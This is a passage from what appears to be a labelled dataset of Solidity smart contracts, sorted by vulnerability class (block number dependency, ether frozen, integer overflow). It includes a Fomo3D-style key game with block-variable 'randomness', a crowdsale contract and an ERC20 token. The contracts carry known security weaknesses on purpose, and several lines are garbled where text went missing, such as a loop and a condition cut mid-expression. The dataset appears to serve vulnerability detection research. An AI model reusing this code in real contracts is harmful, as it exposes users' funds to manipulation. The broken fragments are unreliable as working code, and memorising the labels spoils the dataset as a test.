_nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = GoalbonanzaBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = GoalbonanzaBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = GoalbonanzaBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now)); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256) { uint256 _rID = rID_; return ( round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].plyr * 10), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, RSdatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit RSEvents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, RSdatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit RSEvents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 10000000000000000000) { uint256 _availableLimit = (10000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 100000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _keys, _eventData_); endTx(_pID, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return((((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask)); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(GoalbonanzaBook), ""only GoalbonanzaBook can call this function""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(GoalbonanzaBook), ""only GoalbonanzaBook can call this function""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(RSdatasets.EventReturns memory _eventData_) private returns (RSdatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = GoalbonanzaBook.getPlayerID(msg.sender); bytes32 _name = GoalbonanzaBook.getPlayerName(_pID); uint256 _laff = GoalbonanzaBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function managePlayer(uint256 _pID, RSdatasets.EventReturns memory _eventData_) private returns (RSdatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(RSdatasets.EventReturns memory _eventData_) private returns (RSdatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(45)) / 100; uint256 _com = (_pot / 10); uint256 _gen = (_pot.mul(potSplit_)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _com.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); if (!address(TeamGoalbonanza).call.value(_com)(bytes4(keccak256(""deposit()"")))) { _gen = _gen.add(_com); _com = 0; } round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_) private returns(RSdatasets.EventReturns) { uint256 _com = _eth * 15 / 100; uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit RSEvents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _com += _aff; } if (!address(TeamGoalbonanza).call.value(_com)(bytes4(keccak256(""deposit()"")))) { } return(_eventData_); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_) private returns(RSdatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_)) / 100; uint256 _air = (_eth / 1000); airDropPot_ = airDropPot_.add(_air); uint256 _pot = (_eth.mul(249) / 1000); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit RSEvents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require( (msg.sender == 0xcd0fce8d255349092496f131f2900df25f0569f8), ""only owner can activate"" ); require(activated_ == false, ""GoalbonanzaPlus already activated""); activated_ = true; rID_ = 1; round_[1].strt = now - rndGap_; round_[1].end = now + rndInit_; } } library RSdatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; } struct Round { uint256 plyr; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; } } library RSKeysCalc { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface GoalbonanzaInterfaceForForwarder { function deposit() external payable returns(bool); } interface GoalbonanzaBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } }",./Dataset/block number dependency (BN),0,0 5332.sol,"pragma solidity ^0.4.19; contract CrowdsaleTokenInterface { uint public decimals; function addLockAddress(address addr, uint lock_time) public; function mint(address _to, uint256 _amount) public returns (bool); function finishMinting() public returns (bool); } contract CrowdsaleLimit { using SafeMath for uint256; uint public startsAt; uint public endsAt; uint public token_decimals = 8; uint public TOKEN_RATE_PRESALE = 7200; uint public TOKEN_RATE_CROWDSALE= 6000; uint public PRESALE_TOKEN_IN_WEI = 1 ether / TOKEN_RATE_PRESALE; uint public CROWDSALE_TOKEN_IN_WEI = 1 ether / TOKEN_RATE_CROWDSALE; uint public PRESALE_ETH_IN_WEI_FUND_MAX = 40000 ether; uint public CROWDSALE_ETH_IN_WEI_FUND_MIN = 22000 ether; uint public CROWDSALE_ETH_IN_WEI_FUND_MAX = 90000 ether; uint public PRESALE_ETH_IN_WEI_ACCEPTED_MIN = 1 ether; uint public CROWDSALE_ETH_IN_WEI_ACCEPTED_MIN = 100 finney; uint public CROWDSALE_GASPRICE_IN_WEI_MAX = 0; uint public presale_eth_fund= 0; uint public crowdsale_eth_fund= 0; uint public crowdsale_eth_refund = 0; mapping(address => uint) public team_addresses_token_percentage; mapping(uint => address) public team_addresses_idx; uint public team_address_count= 0; uint public team_token_percentage_total= 0; uint public team_token_percentage_max= 40; event EndsAtChanged(uint newEndsAt); event AddTeamAddress(address addr, uint release_time, uint token_percentage); event Refund(address investor, uint weiAmount); modifier allowCrowdsaleAmountLimit(){ if (msg.value == 0) revert(); if((crowdsale_eth_fund.add(msg.value)) > CROWDSALE_ETH_IN_WEI_FUND_MAX) revert(); if((CROWDSALE_GASPRICE_IN_WEI_MAX > 0) && (tx.gasprice > CROWDSALE_GASPRICE_IN_WEI_MAX)) revert(); _; } function CrowdsaleLimit(uint _start, uint _end) public { require(_start != 0); require(_end != 0); require(_start < _end); startsAt = _start; endsAt = _end; } function calculateTokenPresale(uint value, uint decimals) public constant returns (uint) { uint multiplier = 10 ** decimals; return value.mul(multiplier).div(PRESALE_TOKEN_IN_WEI); } function calculateTokenCrowsale(uint value, uint decimals) public constant returns (uint) { uint multiplier = 10 ** decimals; return value.mul(multiplier).div(CROWDSALE_TOKEN_IN_WEI); } function isMinimumGoalReached() public constant returns (bool) { return crowdsale_eth_fund >= CROWDSALE_ETH_IN_WEI_FUND_MIN; } function addTeamAddressInternal(address addr, uint release_time, uint token_percentage) internal { if((team_token_percentage_total.add(token_percentage)) > team_token_percentage_max) revert(); if((team_token_percentage_total.add(token_percentage)) > 100) revert(); if(team_addresses_token_percentage[addr] != 0) revert(); team_addresses_token_percentage[addr]= token_percentage; team_addresses_idx[team_address_count]= addr; team_address_count++; team_token_percentage_total = team_token_percentage_total.add(token_percentage); AddTeamAddress(addr, release_time, token_percentage); } function hasEnded() public constant returns (bool) { return now > endsAt; } } contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); owner = newOwner; } } contract Haltable is Ownable { bool public halted; modifier stopInEmergency { if (halted) revert(); _; } modifier onlyInEmergency { if (!halted) revert(); _; } function halt() external onlyOwner { halted = true; } function unhalt() external onlyOwner onlyInEmergency { halted = false; } } contract Crowdsale is CrowdsaleLimit, Haltable { using SafeMath for uint256; CrowdsaleTokenInterface public token; address public multisigWallet; mapping (address => uint256) public investedAmountOf; mapping (address => uint256) public tokenAmountOf; uint public tokensSold = 0; uint public investorCount = 0; uint public loadedRefund = 0; bool public finalized; enum State{Unknown, PreFunding, Funding, Success, Failure, Finalized, Refunding} event Invested(address investor, uint weiAmount, uint tokenAmount); event createTeamTokenEvent(address addr, uint tokens); event Finalized(); modifier inState(State state) { if(getState() != state) revert(); _; } function Crowdsale(address _token, address _multisigWallet, uint _start, uint _end) CrowdsaleLimit(_start, _end) public { require(_token != 0x0); require(_multisigWallet != 0x0); token = CrowdsaleTokenInterface(_token); if(token_decimals != token.decimals()) revert(); multisigWallet = _multisigWallet; } function getState() public constant returns (State) { if(finalized) return State.Finalized; else if (now < startsAt) return State.PreFunding; else if (now <= endsAt && !isMinimumGoalReached()) return State.Funding; else if (isMinimumGoalReached()) return State.Success; else if (!isMinimumGoalReached() && crowdsale_eth_fund > 0 && loadedRefund >= crowdsale_eth_fund) return State.Refunding; else return State.Failure; } function addTeamAddress(address addr, uint release_time, uint token_percentage) onlyOwner inState(State.PreFunding) public { super.addTeamAddressInternal(addr, release_time, token_percentage); token.addLockAddress(addr, release_time); } function createTeamTokenByPercentage() onlyOwner internal { uint total= tokensSold; uint tokens= total.mul(team_token_percentage_total).div(100-team_token_percentage_total); for(uint i=0; i 0) && ((presale_eth_fund.add(weiAmount)) > PRESALE_ETH_IN_WEI_FUND_MAX)) revert(); tokenAmount = calculateTokenPresale(weiAmount, token_decimals); presale_eth_fund = presale_eth_fund.add(weiAmount); } else if((getState() == State.Funding) || (getState() == State.Success)) { if (weiAmount < CROWDSALE_ETH_IN_WEI_ACCEPTED_MIN) revert(); tokenAmount = calculateTokenCrowsale(weiAmount, token_decimals); } else { revert(); } if(tokenAmount == 0) { revert(); } if(investedAmountOf[receiver] == 0) { investorCount++; } investedAmountOf[receiver] = investedAmountOf[receiver].add(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].add(tokenAmount); crowdsale_eth_fund = crowdsale_eth_fund.add(weiAmount); tokensSold = tokensSold.add(tokenAmount); token.mint(receiver, tokenAmount); if(!multisigWallet.send(weiAmount)) revert(); Invested(receiver, weiAmount, tokenAmount); } function loadRefund() public payable inState(State.Failure) { if(msg.value == 0) revert(); loadedRefund = loadedRefund.add(msg.value); } function refund() public inState(State.Refunding) { uint256 weiValue = investedAmountOf[msg.sender]; if (weiValue == 0) revert(); investedAmountOf[msg.sender] = 0; crowdsale_eth_refund = crowdsale_eth_refund.add(weiValue); Refund(msg.sender, weiValue); if (!msg.sender.send(weiValue)) revert(); } function setEndsAt(uint time) onlyOwner public { if(now > time) { revert(); } endsAt = time; EndsAtChanged(endsAt); } function doFinalize() public inState(State.Success) onlyOwner stopInEmergency { if(finalized) { revert(); } createTeamTokenByPercentage(); token.finishMinting(); finalized = true; Finalized(); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }",./Dataset/ether frozen (EF),2,2 393.sol,"pragma solidity ^0.4.24; contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event TokensClaimed(address indexed to, uint tokens); } contract EthVerifyCore{ mapping (address => bool) public verifiedUsers; } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract VerifyToken is ERC20Interface { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public dailyDistribution; uint public timestep; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(address => uint) public lastClaimed; uint public claimedYesterday; uint public claimedToday; uint public dayStartTime; bool public activated=false; address public creator; EthVerifyCore public ethVerify=EthVerifyCore(0x1Ea6fAd76886fE0C0BF8eBb3F51678B33D24186c); constructor() public { timestep=24 hours; symbol = ""VRF""; name = ""0xVerify""; decimals = 18; dailyDistribution=10000000 * 10**uint(decimals); claimedYesterday=20; claimedToday=0; dayStartTime=now; _totalSupply=14 * dailyDistribution; balances[msg.sender] = _totalSupply; creator=msg.sender; } function activate(){ require(!activated); require(msg.sender==creator); dayStartTime=now-1 minutes; activated=true; } function claimTokens() public{ require(activated); if(dayStartTime 1 ? claimedToday : 1; claimedToday=0; } require(ethVerify.verifiedUsers(msg.sender)); require(lastClaimed[msg.sender] <= dayStartTime); lastClaimed[msg.sender]=now; claimedToday=claimedToday.add(1); balances[msg.sender]=balances[msg.sender].add(dailyDistribution.div(claimedYesterday)); _totalSupply=_totalSupply.add(dailyDistribution.div(claimedYesterday)); emit TokensClaimed(msg.sender,dailyDistribution.div(claimedYesterday)); } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } }",./Dataset/integer overflow (OF)/,4,4 36856.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param 